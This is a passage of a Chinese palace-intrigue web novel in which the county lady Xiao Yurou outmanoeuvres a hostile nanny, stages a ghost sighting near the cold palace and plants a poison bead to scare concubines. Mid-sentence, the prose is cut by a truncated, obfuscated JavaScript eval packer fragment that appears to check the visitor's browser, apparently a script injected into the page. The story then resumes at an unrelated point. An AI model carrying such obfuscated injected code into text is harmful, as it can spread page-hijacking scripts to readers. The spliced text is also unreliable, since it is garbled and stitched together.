春日的阳光透过回廊的雕花窗棂,在地上投下斑驳的影子。萧语柔正要转过一处拐角,忽然听见前方传来压抑的说话声。她本能地放轻脚步,却见四皇子礼王与一名宫女正在暗处拉拉扯扯。 萧语柔心中一沉,正欲悄然退开,身后的菱漠嬷嬷却突然提高声音:“县主,您要去哪儿,这条路才通向宫里。” 话音未落,礼王和那宫女如受惊的鸟儿般分开。萧语柔看见那宫女慌乱中整理衣襟的动作,心下了然。她强忍着不快,恭敬行礼:“参见礼王殿下。若无他事,臣女告退。” 礼王面无表情地望着她远去,目光中带着几分愤怒与不甘。他转向身旁的宫女,声音低沉而坚定:“我会向父皇求娶你。” “王爷何必如此。”梨兰含泪道,眼中满是痛苦与无奈,“我因家族获罪才被罚入宫,我们的婚约早已作废。皇上也为您另择良缘,您又何必自寻烦恼?” “可我心中只有你一人!”礼王激动地说。 虽已走远,萧语柔还是听到了礼王压抑的话语。她不由得揉了揉太阳穴,显然,菱漠嬷嬷方才是故意为之。这后宫中的每一个人,无论大小,行事必有缘由。 “嬷嬷认识那位宫女?”萧语柔试探着问道,语气中带着几分漫不经心。 “您是说梨兰?”菱漠嬷嬷答道,脸上露出意味深长的笑容,“她爷爷曾做过工部尚书,因督修黄河水坝时****,导致洪水泛滥死伤无数。一家被抄,男丁流放,家中女子全被发配入宫。” 萧语柔又问:“罪臣之女不是该进掖庭吗?怎会在这里?” 菱漠嬷嬷瞥了她一眼,不情不愿地说:“如今她是晔妃娘娘跟前的人。” “原来如此。”萧语柔淡淡应了一声。 原来梨兰不仅牵涉**案,还与礼王有旧,更是晔妃的人。今日自己恰巧撞见她与礼王私会,若她突然暴毙,这罪名怕是要落到自己头上。少不得,还要牵连到定王府。 菱漠嬷嬷琢磨着她话中有话,但萧语柔比想象中更能沉得住气。回到寝殿后,她便躺下休息,仿佛对方才的事毫不在意。 菱漠嬷嬷站在一旁,看着萧语柔沉沉睡去的样子,眉头微皱。她不解这位县主为何总是昏睡,难道真的只是体弱? 直到下午晔妃又来访,菱漠嬷嬷还没反应过来,萧语柔忽然向晔妃请求:“娘娘,我这儿只有一位年迈嬷嬷,实在不忍使唤。求娘娘分我一个宫女使唤?” 兰若立即明白她的用意,急忙开口:“乐宁县主,若是缺人手,直接向贵妃娘娘求助便是,何必麻烦晔妃娘娘?” “贵妃娘娘需要静养,怎好为这等小事打扰?”萧语柔微笑道,眼中带着几分天真,“再说我看中的就是她,正是晔妃娘娘的宫女梨兰。总不好让贵妃娘娘为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春雨过后暖意浓,昨夜雨歇,今早太阳暖洋洋。空气中还残留着泥土的芬芳,混合着花草的清香,让人心旷神怡。 萧语柔让菱漠嬷嬷帮她在西北角落的树荫下摆了张躺椅,披着小毯子沐浴阳光。 她这般悠闲自在,看得暗处盯梢的人眼角直抽抽。那些人躲在暗处,看着这位县主整整一天都在晒太阳,连午膳都是在躺椅上用的。 直到傍晚时分,半死不活的梨兰才被人扶着送来。她的脸色苍白,嘴唇毫无血色,显然是真的受了惊吓。 “奴婢梨兰,给县主请安。”梨兰强撑着行礼,声音虚弱。 萧语柔仿佛没看见菱漠嬷嬷阴沉的脸色,半合着眼说:“我房里藏有一剂药,是专门为贵妃娘娘养胎所用。若有万一,这药堪比仙丹妙药,十分珍贵。你就在这守着吧。” “是。”梨兰应道。 菱漠嬷嬷道:“这药既然如此珍贵,干脆多叫些人来守着。” “不可。”萧语柔断然拒绝,语气坚决,“这药怕人多,也怕生人。以后只让梨兰一个人在这里当值。要是有人进去毁了药,若是贵妃娘娘将来急需救命药却没了,只好让毁药的人来承担后果。” 菱漠嬷嬷皱眉,萧语柔分明是故意为之。说不定真藏着什么灵丹妙药?她不敢轻举妄动,只能暂时按捺下心中的不快。 萧语柔又嘱咐梨兰:“没我的吩咐,你绝对不能踏出房门,明白吗?” 梨兰有些茫然,但晔妃既已将她打发来此,她便只得听命:“奴婢明白了。” 菱漠嬷嬷一双眼阴沉沉的,恨不得在萧语柔身上撕下一块肉来。她看着萧语柔那张平静的脸,心中暗暗盘算着对策。 夜幕降临,栖霞殿内外灯火通明。萧语柔站在窗前,望着天上的明月,心中思绪万千。那个突如其来的声音,那个神秘的名字,究竟意味着什么?她轻轻叹了口气,转身走向内室准备休息,却被告知雅贵妃召见。 萧语柔站在殿门外,寒风呼啸,刺骨的冷意顺着裙摆往上爬,双腿已经麻得几乎失去知觉。她抬头望向天际,暮色渐沉,宫墙上的琉璃瓦在夕阳下泛着冷冽的光。 两个时辰,整整两个时辰过去了,她依然未能见到雅贵妃的面。殿内传来阵阵欢笑,衬得殿外愈发寂寥。 一个身着翠绿宫装的宫女踱步而来,面带轻蔑:“县主,回去吧。” 萧语柔扶着墙,一步一步往回走。每一步都像踩在针毡上,双腿早已失去知觉,却还要强撑着不让自己倒下。 “县主走得这般慢,莫不是在等什么人?” 萧语柔停下脚步,转身看向菱漠嬷嬷:“还请嬷嬷指教。” “这后宫之中,贵妃娘娘一言九鼎。”菱漠嬷嬷说着,突然伸脚绊了萧语柔一下,“县主若是不识好歹,贵妃娘娘有的是法子收拾你。” 萧语柔踉跄了一下,手指紧紧扣住墙壁的纹路,才勉强没有摔倒。她深吸一口气,抬起头时,唇边已挂着浅浅的笑意:“感激嬷嬷教导。” 菱漠嬷嬷见她这般乖顺,眼中闪过得意之色。这小丫头,终于知道害怕了。 然而第二日一早,萧语柔就一瘸一拐地来给雅贵妃请安。她的脸色苍白如纸,额头渗出细密的汗珠,却依然保持着端庄的仪态。 雅贵妃斜倚在软榻上,手中把玩着一串南海珍珠,眼神冷淡地扫过萧语柔:“怎么?本妃昨日让你久等了?” “回娘娘的话,不是呢。”萧语柔低眉顺眼,声音轻柔,“是菱漠嬷嬷不小心踢到了我。” 这话说得轻描淡写,却让站在一旁的菱漠嬷嬷脸色瞬间变得难看。殿内的气氛骤然凝固。 雅贵妃放下手中的茶盅,瓷器与托盘相碰发出清脆的响声。“你这是要与本妃对着干?” “臣女不敢。”萧语柔微微欠身,“只是实话实说罢了。” “既然敢顶撞本妃,那就去外面跪着吧。”雅贵妃挥了挥手,“本妃今日心情不好,不想见你。” 萧语柔被赶了出去,跪在寒风凛冽的殿外。菱漠嬷嬷留在殿内,添油加醋地说了一番萧语柔的“罪状”。 “娘娘,这丫头太不懂规矩,得找个教养嬷嬷好好管教才是。”菱漠嬷嬷低声献策,“要不要让她去宗祠思过几日?” 雅贵妃靠在软榻上,手轻抚着微隆的腹部,轻声道:“你看着办,别做得太过。”此时皇上对她态度和缓,只要这胎祥宁生下,皇后之位指日可待,她不想节外生枝。 萧语柔跪在殿外,听着来往宫女的窃窃私语。寒风吹得她裙摆翻飞,却无法动弹。忽然,撕心裂肺的悲鸣划破长空,打破了宫中的宁静。 “冤枉啊!皇上,臣妾冤枉!” 宫女们纷纷驻足,交头接耳。 “是王才人,听说在她房里搜出了巫蛊,是要害贵妃娘娘的。” “可不是,这下完了。听说是要下毒害贵妃娘娘的龙胎呢。” “嘘,小声点,这种事也是你能议论的?” 萧语柔眼中闪过一丝异色。王才人房中搜出巫蛊,雅贵妃却毫不知情?这未免太过巧合。 整齐的脚步声由远及近,打断了她的思绪。 “起来吧,贵妃娘娘饶你这一次。”菱漠嬷嬷过来传话,语气依旧不善。 萧语柔勉强支撑着站起身,双腿已经完全失去知觉。 雅贵妃坐在主位上,正诉说着孕期的辛苦。她时不时抚摸着腹部,面带愁容:“臣妾这胎一直不稳,总是担心有人要害臣妾母子。” 皇帝闻言,立刻表示关切:“爱妃不必忧心,朕已经下令彻查宫中。” 陛下刚想坐下吃饭,雅贵妃忽然面色发白,按着小腹痛得嗷嗷叫:“啊!好痛!” “快传太医!”皇帝大惊失色,“乐宁呢?怎么不见她?” “回皇上,县主跪了一夜,现在已经完全走不了了。”一个小宫女怯生生地回答。 晔妃连忙道:“还是先看贵妃要紧。”她的目光在雅贵妃脸上停留片刻,若有所思。 李太医很快赶到,诊脉后说是贵妃身子虚寒,但雅贵妃坚持要彻查宫中,说是有人在暗中害她。 皇帝有些不耐烦:“有朕在,谁敢害你?你现在最重要的是养胎。” 第二百零六章 柳容熙中计 临走前,晔妃提议让太医去看看萧语柔。李太医诊断是内伤淤积加寒气入体,需要好生调养。 皇帝听后脸色难看:“好好的人怎会内伤?这是怎么回事?” 晔妃看了眼雅贵妃,主动请缨:“臣妾带她去养伤吧。反正臣妾那边清净,也好让县主好生休养。” 雅贵妃无法拒绝,只得应允。等人都走后,她立刻召来菱漠嬷嬷:“你做事也太不知轻重了!” 菱漠嬷嬷跪在地上,战战兢兢:“娘娘恕罪,奴婢也是一时糊涂。” 雅贵妃揉了揉太阳穴:“这丫头不简单,你以后行事要谨慎些。”她停顿片刻,又道:“去查查晔妃那边的动静。” 与此同时,萧语柔躺在晔妃宫中的软榻上,看着窗外的月色发呆。今日之事,恐怕只是个开始。她轻轻叹了口气,闭上眼睛。 “什么也没做?”雅贵妃的声音冷若寒冰,殿内的温度仿佛骤然降至冰点。她修长的手指轻轻敲击着檀木扶手,每一下都像是敲在菱漠嬷嬷的心上。 殿内烛火摇曳,映照着菱漠嬷嬷苍白的面容。她慌忙跪地,额头重重地抵在冰凉的地面上,声音微微发颤:“回娘娘的话,奴婢、奴婢只是轻轻推了她一下,是她自己没站稳摔倒的。” “那晕倒呢?”雅贵妃的目光如刀,在菱漠嬷嬷身上来回逡巡。 “定是装的!”菱漠嬷嬷急切地抬起头,额间已沁出细密的汗珠,“她就是想要陷害奴婢啊!” 雅贵妃纤细的手指停下了敲击,眸光一冷:“你是说,萧太医也在帮她演戏?” 这句话如同一记重锤,菱漠嬷嬷顿时语塞。她太清楚萧太医的为人,当年那件事时都守口如瓶,怎会在这种小事上帮人作假?冷汗顺着她的脸颊滑落。 殿外传来脚步声,一个伺候偏殿的宫女被带了进来。宫女跪在地上,瑟缩着身子,眼神不住地往菱漠嬷嬷那边瞟。 “说。”雅贵妃淡淡开口。 宫女咽了咽口水,声音颤抖:“奴、奴婢看见嬷嬷推搡县主,然后听见县主喊"别打了"...” “你胡说!”菱漠嬷嬷猛地转头,面色狰狞,“我根本没碰她!” 雅贵妃眯起眼睛,纤长的睫毛在眼下投下一片阴影。这菱漠嬷嬷一而再再而三地隐瞒,难道自己近日的身体不适,也是她在背后搞鬼? 后宫之中,除了两个心腹,她早已不信任任何人。 “拖下去。”她轻轻挥手。 菱漠嬷嬷面如死灰,还想说什么,已被堵住嘴巴拖了出去。她的下场如何,不言而喻。 与此同时,晔妃将萧语柔送到栖霞殿,遣散了宫人。殿内只余下袅袅的檀香,静谧安详。 萧语柔立刻睁开眼睛,起身施礼:“臣女欺君,罪该万死。” “你倒是坦诚。”晔妃轻笑,眼角泛起柔和的纹路,“看来很笃定本妃不会惩罚你?” “娘娘人美心善。”萧语柔眨了眨眼。 “少来这套。”晔妃被她的小动作逗笑了,“说实话。” 萧语柔收起玩笑的神色,正色道:“是因为宁夫人和韵姐姐。宁夫人待我如亲生,韵姐姐与我情同手足。娘娘是宁夫人的姐姐,想必不会与小辈计较。” 晔妃看她说得滴水不漏,暗自点头。这丫头年纪不大,心思却极为缜密。“能瞒过萧太医,想必也是真受了伤。坐吧。” 萧语柔先为晔妃泡了一盏上等龙井,才缓缓坐下。茶香袅袅,在空气中缓缓散开。 “若你入了后宫,怕是无人能制。”晔妃轻抿一口茶,意味深长地说,“凭本宫对雅贵妃的认识,那菱漠嬷嬷是回不来了。” 萧语柔垂眸,并不后悔。菱漠嬷嬷心术不正,若任其拿捏,早晚沦为后宫争斗的牺牲品。她不怕死,可不能拖累亲人,更不能连累岑陌。 “娘娘认为奴婢处理得如何?”她轻声问道。 “对。”晔妃放下茶盏,看似温柔无害的面容透出一丝凌厉,“换作本妃,也不会手软。” 两人默契地避开皇子之争的话题,闲扯了两句。晔妃留下一个叫云霁的大宫女便离开了。 云霁送来的晚膳精致可口:红烧肉软糯适中,肥而不腻;板栗烧鸡香气四溢,皮酥肉嫩;虾仁豆腐鲜嫩爽口,清淡可口;清炒青菜翠绿欲滴;鱼汤更是鲜美异常,汤色清澈。 萧语柔分出一半给九公主和奶嬷嬷,用完膳后便打发云霁和梨兰下去了。她独自坐在窗前,看着院中的梅花在夜色中若隐若现。 与此同时,宫外的柳容熙收到一张纸条,约他在齐家后角门相见。他心跳加速,连夜赴约。 一个丫环将他带到一处暗室,说是齐小姐在等他商议聘礼。暗室内烛光昏暗,空气中弥漫着若有若无的香气。 柳容熙被美色冲昏了头脑,全然没注意那香气的异常。他的意识渐渐模糊,最后倒在地上。 齐婉站在外面,唇角勾起一抹冷笑:“不知天高地厚的东西。” 她身边的丫环紧张地左右张望:“小姐,王爷吩咐的事...” “嘘!”齐婉警惕地环顾四周,压低声音,“别说上面的事。” 两人匆匆离去,却不知郗澜早已躲在暗处,将一切尽收眼底。 连日阴雨,空气中弥漫着潮湿的气息。内膳房来人送饭:“全是县主点的清淡饭菜。” 萧语柔赏了银子,待人走后才打开暗中递来的纸条。纸条上是岑陌知道的关于杨贵妃的消息,字迹潦草却透着急切。 她悄悄把纸条藏了起来,嘴角不自觉地勾起一抹笑意。窗外的阳光透过薄纱帘子洒进来,在她白皙的脸庞上镀上一层柔和的光晕。 云霁端着点心回来时,她已经将碗里的粥喝得差不多了。精致的瓷碗中还剩下些许米粒,在晨光中泛着莹润的光泽。 “是时候去给贵妃娘娘问早了。”云霁一边收拾桌上的餐具,一边轻声提醒道。她的动作轻巧利落,显然是经过长期训练的宫女。 第二百零七章 太后驾到 萧语柔慵懒地靠在软榻上,随手拿起一块糕点细细品尝。糕点入口即化,带着淡淡的叶花香。她漫不经心地用帕子擦了擦嘴角,忽然问道:“听说那王才人因为巫蛊之事被打入冷宫了,冷宫真有传言中那般可怕吗?” 云霁的手顿了顿,目光闪烁了一下。“冷宫倒也没那么吓人。”她被萧语柔好奇的模样逗笑了,放下手中的托盘,在一旁坐下,“犯事的妃嫔虽说是被打入冷宫,终究是陛下的心尖宠,也有宫人伺候着。内里竟藏着一处金碧辉煌的寝宫。” “华丽的寝殿?”萧语柔眼睛一亮,身子不自觉地向前倾了倾,“是给谁准备的?” 云霁的表情瞬间僵住。她急忙站起身,假装整理桌上的茶具,转移话题道:“县主,时辰不早了,该梳妆打扮了。” 萧语柔看着云霁慌乱的背影,心下了然。那寝殿定是为杨贵妃所设,即便已经过去多年,这个名字仍是后宫中的禁忌。她暗暗记下,去雅贵妃寝殿的路上拐个弯就能到冷宫。 “县主可千万别动什么歪心思。”云霁见她若有所思的模样,连忙放下手中的活计,走到她身边低声提醒,“冷宫四周都有禁卫军把守,没有旨意,谁也不能靠近。” 萧语柔点点头,面上露出乖巧的笑容,心里却在思索。即便杨贵妃已故多年,后宫中人提起她时仍是讳莫如深,这其中必有隐情。 梳妆完毕,萧语柔带着云霁向雅贵妃的寝殿走去。初春的风还带着些许寒意,吹得宫墙上的红梅轻轻摇曳。远处传来宫女们细碎的脚步声,偶尔还能听见太监尖细的呼喝声。 到了雅贵妃寝殿,萧语柔发现岑涛和谷家人已经在此处。殿内檀香袅袅,雅贵妃端坐在主位上,面容端庄威严。听说钦天监已经算好了良辰吉日,特来禀报。 谷柏站在一旁,身姿挺拔如松。他趁萧语柔经过时,低声道:“等会儿等等我。”温热的气息拂过耳畔,让萧语柔心头一颤。 萧语柔不动声色地上前给雅贵妃请安。她跪坐在蒲团上,仔细为贵妃把脉。殿内一时寂静无声,只有檀香缓缓升腾。 “萧太医说得对,”萧语柔收回手,神色凝重地说道,“是娘娘当年生育后未能及时调理留下的病根。需得好生调养,臣女这就开方子。” “太玉郢多大了,居然还有这些乱七八糟的症状?”谷夫人忽然冷笑一声,“莫不是你根本看不出病因,在这胡言乱语?” 这话一出,殿内的气氛瞬间凝固。萧语柔和雅贵妃的脸色同时一变。萧语柔是惊讶谷夫人如此精准地踩到了痛处。 “臣女医术浅薄,”萧语柔低下头,声音轻柔,“本想今日向娘娘请辞回家。既然谷夫人也觉得臣女医术不精,想必娘娘也该另请高明了。” “乐宁县主的医术有目共睹,”谷霜突然开口打断,声音清冷,“我母亲不过是随口一问,县主何必如此小题大做,三天两头嚷着想回府,好似个不懂事的小孩子。” 萧语柔抬起头,嘴角挂着淡淡的笑意:“奴婢确实对女科不太在行,倒不知谷小姐如何能对臣女的医术"有目共睹"?莫非谷小姐暗中观察过臣女?” 谷霜的脸色微微发白,手指不自觉地攥紧了衣袖。“看来是我们误会了县主。”她冷冷道。 “古有一叶障目,谷小姐怕是只看到了冰山一角。”萧语柔的声音依旧温和,但话中的锋芒却让人不寒而栗。 谷霜咬牙忍下这口气,但谷夫人却忍不住讽刺道:“县主这是仗着自己是未来定王妃,竟敢不把贵妃娘娘当回事?” “臣女不敢,”萧语柔转向雅贵妃,眼中带着真诚,“臣女怎敢拿太子妃与贵妃娘娘相比?臣女方才只是为娘娘把脉罢了。”这话直指谷家母女无事生非。 殿内的气氛越发紧张,连宫女们都不敢大声喘气。谷夫人还要争辩,却被谷霜拉住。谷霜瞥了眼岑涛含笑的目光,起身赔礼。 雅贵妃见状稍稍平息怒气,挥了挥手:“开完药方就赶紧离开吧。”对萧语柔要回家的话只字未提。 萧语柔恭敬地应了一声,在案几前提笔写下药方。她并不着急,因为她自有办法让雅贵妃放她出宫。 写完药方,她将纸张呈上。 这时,外面太监通报,“太后驾到。”众人起身迎接。 进屋之后,太后先是询问了雅贵妃近况,而后看到萧语柔也在,便唤她上前。 “语柔,快过来。”太后端坐在雕花楠木椅上,笑意盈盈地招手。 萧语柔上前行礼,“臣女参见太后娘娘。” “快起来。”太后亲昵地拉着她的手,让她坐在自己身边的锦墩上,“这些日子住得可还习惯?” 这般殊荣,连晔妃和雅贵妃都只能站在一旁。宫妃们眼中闪过羡慕的神色,却又不敢表露分毫。 “多谢太后关心,一切都好。”萧语柔微笑应答,眼角余光瞥见雅贵妃面色阴沉。 殿内气氛微妙地凝滞了一瞬。太后似是察觉,轻咳一声,吩咐人将准备好的赏赐呈上:“这些都是哀家特意为你准备的,你且看看可还喜欢。” 宫女捧着托盘上前,里面陈列着各色绫罗绸缎、珠宝首饰。萧语柔目光一扫,认出其中几匹布料正是宫中独有的御用织锦。 “太后娘娘厚爱,臣女感激不尽。”她恭敬地行礼。 太后又寒暄几句,直接打发她离开。兰梨嬷嬷亲自送她出来,一路上宫人纷纷避让。 待走到无人处,嬷嬷摆手示意众人退下,压低声音道:“上次多亏县主的还魂丸,否则太后和老奴这条命怕是都要交代在路上了。” 萧语柔心中一动,脚步微顿:“嬷嬷客气了。家中还有一瓶还魂丸...” “县主的意思老奴明白。”兰梨嬷嬷叹了口气,目光中带着几分无奈,“不是太后不想帮您,实在是雅贵妃有了身孕,皇上对她格外看重。就连太后也不好做主让您离宫。不过有太后在,您在宫里不会有事的。” 第二百零八章 后宫闹鬼 远处传来宫女的脚步声,她们正捧着茶点往太后宫中走去。 “对了,九公主的事...究竟是怎么回事?”她转移话题问道。 兰梨嬷嬷警惕地看了看四周,这才低声道:“说来话长。七八年前,皇上突然被噩梦缠身,几乎丧命。御医院束手无策,连太后请来的神医也无计可施。偏偏九公主的生母那时难产,皇上的病就是在九公主出生那天发作的。再加上宫里有人暗中散布谣言,说九公主是不祥之人...” 萧语柔听得心中一沉。宫墙内外,最是是非难辨。一个初生的婴儿,就这样背负上了不祥的名声。 “所以皇上便将九公主弃之不顾了?” “是啊。”兰梨嬷嬷叹息,“太后也只能保她祥宁活着罢了。这些年,连太医都很少来看她。若不是县主来了,怕是连个说话的人都没有。” 回到栖霞殿,萧语柔将太后赏赐的布匹全都给了九公主。小姑娘站在铜镜前,将绸缎贴在身上比划,眼中满是欢喜。 “这些...真的都给我吗?”她怯生生地问,眼睛里闪着期待的光。 “当然。”萧语柔摸了摸她的头,“你一天天长大,总要有新衣裳穿的。” 九公主扑进她怀里,小脸蹭着她的衣襟:“谢谢姐姐!姐姐对小九可太好了!” 看着小姑娘发黄的头发,萧语柔心中一软。这孩子从小缺乏营养,身子骨都比同龄人瘦小许多。 “九公主可会读书?”她问道。 “只认得几个字。”九公主脸红道,“以前有个嬷嬷教过我,后来她病死了,就再没人教了。” “那以后我教你读书吧,顺便再教你些简单的药理。这院子里有不少草药,学会了对你也有用。” 九公主眼睛一亮:“真的吗?姐姐不嫌弃我笨吗?” “怎么会。”萧语柔轻声道,“你很聪明。” 夜深人静,萧语柔借口要去御梅园散步,带着云霁出了栖霞殿。 等云霁在凉亭中睡熟,她迅速换上准备好的红色宫裙,悄然返回。 专管开门的老嬷嬷见她在门外徘徊,举着灯笼照去,只见萧语柔双目无神,仿佛被什么附身一般。灯光映照下,她的脸色显得格外苍白。 “县主,您怎么了?”老嬷嬷声音有些发抖。 “这是冷宫吗?”萧语柔喃喃道,声音飘忽不定,“我的华殿,为何无人打扫...” 老嬷嬷浑身一颤,手中的灯笼差点掉落:“您...您是杨贵妃?” “我怎会在冷宫?”萧语柔继续问,眼神迷离。 “这...听说是您皇子夭折后发了疯,伤了洛贵妃,皇上才不得不...”老嬷嬷战战兢兢地答道,“那都是七年前的事了。” “是吗?我竟不记得了。”萧语柔轻声道,“只记得有人在我的寝殿弹琴...” “娘娘,您连琴谱都认不全!”老嬷嬷惊呼,随即意识到失言,连忙捂住嘴,“那是...那是您藏在宫中的心上人...” 萧语柔手一扬,一缕迷烟无声无息地飘出。老嬷嬷眼神渐渐迷离,终于软倒在地。 等老嬷嬷昏睡过去,她迅速换回衣裳,按照预先计算好的巡逻时间,悄然返回御梅园。 “云霁,醒醒,该回去了。” 回到栖霞殿时,正好听见打更的声音。远处传来更夫拖长的吆喝:“天干物燥,小心火烛...” 次日早膳时分,九公主那边突然传来一阵喧闹。萧语柔放下手中的碗筷,起身往外走去。 云霁一边为萧语柔布菜,一边压低声音说道:“门房嬷嬷说昨夜见了鬼,正央求九公主向娘娘请道士来做法事。” 萧语柔放下手中的象牙筷子,眉头微蹙。她轻轻抿了一口茶,眸光微动:“去看看。” 她心里清楚,这事怕是没那么简单。九公主在宫中向来不受宠,连个说话的人都少,这门房嬷嬷突然闹鬼,多半另有所图。宫闱之中,每一个举动背后都暗藏玄机。 “县主,要不要先用完膳再去?”云霁有些担忧地看着几乎未动的饭菜。 萧语柔摇摇头,指尖轻轻敲击着桌面:“让梨兰收拾了吧。”她站起身,整理了下衣裙,“这个时辰,栖霞殿那边应该已经闹起来了。” 云霁让梨兰收拾了桌面,紧跟着萧语柔往栖霞殿去。初春的风还带着些许寒意,吹得殿前的梅花轻轻摇曳。 还未进殿,就听见门房嬷嬷哭哭啼啼的声音传来:“奴婢亲眼所见,哪敢作假?那鬼影子就在廊下晃,吓得奴婢腿都软了。若不是奴婢守在前门,那鬼物若是闯到后殿,九公主弱不禁风,怕是要吓坏了。” 这话听着是为九公主着想,实则暗藏威胁之意。 奶嬷嬷脸色发黑,握着拐杖的手微微发抖,语气不善:“这意思是,公主还得谢你不成?” “谢不谢倒无所谓。”门房嬷嬷擦了擦眼角并不存在的泪水,撇了撇嘴,意有所指道:“我们做奴才的,不过是给主子们当替死鬼罢了?可惜某些人命该如此,恐怕撑不住。” 九公主缩在奶嬷嬷身后,低着头一言不发,纤细的手指紧紧揪着衣角。她生得清秀,却总是一副病恹恹的模样,此时更是面色苍白。奶嬷嬷虽然气得发抖,可是也不敢惹怒这位门房嬷嬷。 栖霞殿就这两个宫人,如果出了什么意外,还得靠她照看九公主。这种无奈,让奶嬷嬷的脸上浮现出一丝苦涩。 “嬷嬷说的是谁福薄命短?是在说我吗?” 萧语柔的声音突然在门房嬷嬷身后响起,清冷中带着几分讥诮。阳光从她身后照进来,在地上投下一道修长的影子。 那嬷嬷吓得一个激灵,回头看见门外明晃晃的阳光才定了定神,强笑道:“县主说笑了,您可是有福之人,奴婢怎敢......” “这是在指责奶嬷嬷吗?”萧语柔冷笑着打断她的话,缓步走进殿内,“也不对,奶嬷嬷都六十岁的人了,哪来的命短?房间内只留下......” “大胆!”云霁厉声打断,“九公主乃是皇女,你敢诅咒皇女,莫非是想对圣上不敬?” 门房嬷嬷脸色煞白,双腿一软就跪了下来:“奴婢并非此意......奴婢只是......” “够了。”萧语柔抬手制止,转向九公主道,“这是公主的宫人,该如何处置,公主说了算。” 第二百零九章 换人 九公主怯生生地抬头,眼中带着几分惶恐:“我、我不知道,她不过训斥了我几句......” “那就是想放过她?”萧语柔目光平静地看着九公主。她不是要替九公主出头,而是要让这个懦弱的小公主学会自己争取尊重。在这深宫之中,软弱只会让人更加轻视。 奶嬷嬷会意,连忙在九公主耳边低语:“公主,不如趁此机会请晔妃娘娘另派人来伺候。这门房嬷嬷心思不正,留着只怕日后更难。” 九公主看了看萧语柔,又看了看跪在地上的门房嬷嬷,终于鼓起勇气:“请云霁姐姐帮我转告晔娘娘,我想换个嬷嬷。” 门房嬷嬷顿时慌了神,连连磕头:“公主饶命!奴婢知错了,以后再不敢了......”栖霞殿再不受宠,也是公主寝殿。若是被赶去掖庭做苦力,那可就完了。 萧语柔站在一旁不发一言,就看九公主如何决断。殿内一时安静下来,只听得见门房嬷嬷的抽泣声。 九公主犹豫片刻,但最终还是咬着唇对云霁说:“云霁姐姐,请你帮我。” 不多时,云霁便领着两个年轻宫女回来,把门房嬷嬷支走到掖庭去了。新来的宫女规规矩矩地向九公主行礼,看起来倒是比那门房嬷嬷顺眼多了。 “娘娘说委屈公主了,已吩咐内膳房每日送燕窝来补身子。公主安心随县主学习便是,不必多想。”云霁温声说道。 这件事很快传遍了后宫。有人说九公主终于硬气了一回,也有人说萧语柔多管闲事,更有人说这是晔妃在为女儿树威。 萧语柔正要回殿,却听见假山那边传来议论声。她本想避开,却听见了定王的名字,便停下了脚步。 “定王这次出城哪是去剿匪,分明是去截杀大衍使团。那些使臣借口水土不服,在各地游荡,不知打什么主意。听说定王已经带兵出发三天了。” “可不是么?这些使臣处处打探,怕是别有用心。只是......”说话的人突然压低了声音,“两国交战不斩来使,这事若是败露......” 萧语柔心头一紧,指尖不自觉地掐入掌心。两国交战不斩来使,这是铁律。若大衍发现使臣被杀,必定要大晋给个交代。 皇帝这是要拿岑陌的性命要挟他,不让他越过太子岑涛吗? 正想着,一个年轻妃嫔转到假山后,看见萧语柔顿时惊呼出声:“这、这是......” “向各位娘娘行礼问安。”萧语柔只得现身行礼,面色平静如常。 “我当是谁,竟是个偷听墙角的鼠辈。”一位蓝衣宫妃冷笑,眼中带着几分轻蔑,“县主难道不知道,在宫中偷听可是大罪?” 萧语柔不慌不忙:“臣女只是在查看花盆里的蛊香玉珠,一时大意没躲过,请娘娘们恕罪。” “什么蛊香玉珠?”众妃纷纷后退,脸上露出惊恐之色。蛊香玉珠腐蚀后会散发毒气,若是不小心吸入,轻则头晕目眩,重则丧命。 有人立刻叫人挖开花盆,果然在底下找到一小块腐蚀的蛊香玉珠。众妃脸色大变,生怕沾上毒气,纷纷离去。 萧语柔看着她们仓皇的背影,嘴角微微上扬。这些人方才议论定王的事,想必很快就会传到太子耳中。至于那颗蛊香玉珠,自然是她早就准备好的。 她转身离开假山,心中思绪翻涌。岑陌此去凶险,她必须想办法提醒他。只是该如何在不暴露的情况下传递消息? 春日的阳光洒在她身上,映得她的影子被拉得很长。远处传来宫女的笑语声,还有风铃的清脆响动,一切都显得那么平静。可萧语柔知道,这不过是暴风雨来临前的宁静罢了。 “我宫里的雨前龙井可是上好的,乐宁县主若是喜欢,本宫这就命人取来。”一位妃嫔眼波流转,语气温柔地开口。 “我这还有御赐的红珊瑚,听闻县主住在栖霞殿,想必装饰不够雅致,不如......”另一位妃嫔话未说完,就被打断。 萧语柔端坐在软垫上,姿态端庄,面带浅笑:“多谢各位娘娘厚爱,只是臣女待会要去给贵妃娘娘请脉,只要贵妃娘娘点头答应,再去叨扰各位不迟。” 她心里清楚,自己不过是雅贵妃请来的一枚棋子,还被安置在栖霞殿那种不详之地,哪有什么自由可言。这些妃嫔看似热情,背后却不知打着什么主意。 众妃嫔见她如此谨慎,面上虽然依旧带笑,眼底却闪过一丝不悦。她们暗自思忖,这乐宁县主未免太过谨小慎微,连一杯茶都不敢接。 “这位乐宁县主......”人群后方突然传来一道轻柔的声音,带着几分若有似无的试探,“连雅贵妃那般谨慎的人都让她来保胎,莫非真有什么独到之处?说不定雅贵妃这一胎,就是靠她调理来的。” 这话一出,原本还在讨论茶叶珊瑚的众人瞬间安静下来。 比起什么茶叶珊瑚,能保住龙嗣的本事才是真正值得关注的。几位妃嫔互相对视一眼,眼底都带着深意。 待雅贵妃午后回宫,立刻就听说了栖霞殿发生的事。她坐在镜前,手指无意识地敲击着檀木桌面。 “当真在床底下搜出了蛊香?”她眉头紧蹙,语气阴沉。 跪在地上的宫人瑟瑟发抖:“千真万确,是当场搜出来的。奴婢亲眼所见,那蛊香还是用红绸包着的。” 雅贵妃冷哼一声,玉簪在发间晃动:“去告诉萧语柔,适可而止。”她停顿片刻,又补充道,“就说是本宫说的。” 她原以为萧语柔是个聪明人,收到警告后会收敛一些。毕竟在这深宫之中,一个不小心就会万劫不复。 谁知道这才刚开始。 琳嫔吃了有毒的糕点差点丧命,送糕点的宫女被打了三十大板也说不出是谁指使。墨才人宫中搜出可疑香料,虽然御医院查验后说只是普通香料,但流言已经传开。 更要命的是,还有人喊着肚子疼非要请萧语柔诊治。这一来二去,萧语柔的名声在后宫越传越响。 